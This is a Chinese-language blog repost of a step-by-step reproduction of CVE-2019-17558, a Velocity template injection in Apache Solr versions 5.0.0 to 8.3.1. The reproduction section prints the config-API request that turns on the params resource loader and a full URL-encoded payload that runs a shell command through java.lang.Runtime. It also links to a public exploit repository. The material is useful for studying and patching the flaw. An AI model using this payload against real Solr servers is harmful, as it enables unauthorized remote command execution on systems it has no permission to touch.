Apache Solr Velocity 注入远程命令执行漏洞复现 (CVE-2019-17558)
生活随笔
收集整理的這篇文章主要介紹了
Apache Solr Velocity 注入远程命令执行漏洞复现 (CVE-2019-17558)
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
漏洞描述
Solr是Apache Lucene項目的開源企業搜索平臺。 其主要功能包括全文檢索、命中標示、分面搜索、動態聚類、數據庫集成,以及富文本的處理。 2019年10月30日,國外安全研究人員放出了一個關于solr 模板注入的exp,攻擊者通過未授權訪問solr服務器,發送特定的數據包開啟 params.resource.loader.enabled,然后get訪問接口導致服務器命令執行。
影響版本
5.0.0 到 8.3.1版本
漏洞環境
搭建環境,服務啟動后,訪問http://your-ip:8983即可查看到一個無需權限的Apache Solr服務。
漏洞復現
默認情況下params.resource.loader.enabled配置未打開,無法使用自定義模板。我們先通過如下API獲取所有的核心:
http://127.0.0.1:8983/solr/admin/cores?indexInfo=false&wt=json
通過如下請求開啟params.resource.loader.enabled,其中API路徑包含剛才獲取的core名稱:
POST /solr/demo/config HTTP/1.1 Host: solr:8983 Content-Type: application/json Content-Length: 259{"update-queryresponsewriter": {"startup": "lazy","name": "velocity","class": "solr.VelocityResponseWriter","template.base.dir": "","solr.resource.loader.enabled": "true","params.resource.loader.enabled": "true"} }之后,注入Velocity模板即可執行任意命令:
http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end測試結果:
使用EXP?進行漏洞利用:https://github.com/jas502n/solr_rce
總結
以上是生活随笔為你收集整理的Apache Solr Velocity 注入远程命令执行漏洞复现 (CVE-2019-17558)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 浅谈python异步IO,同步IO,线程
- 下一篇: RSA算法原理简介,非对称加密,公开密钥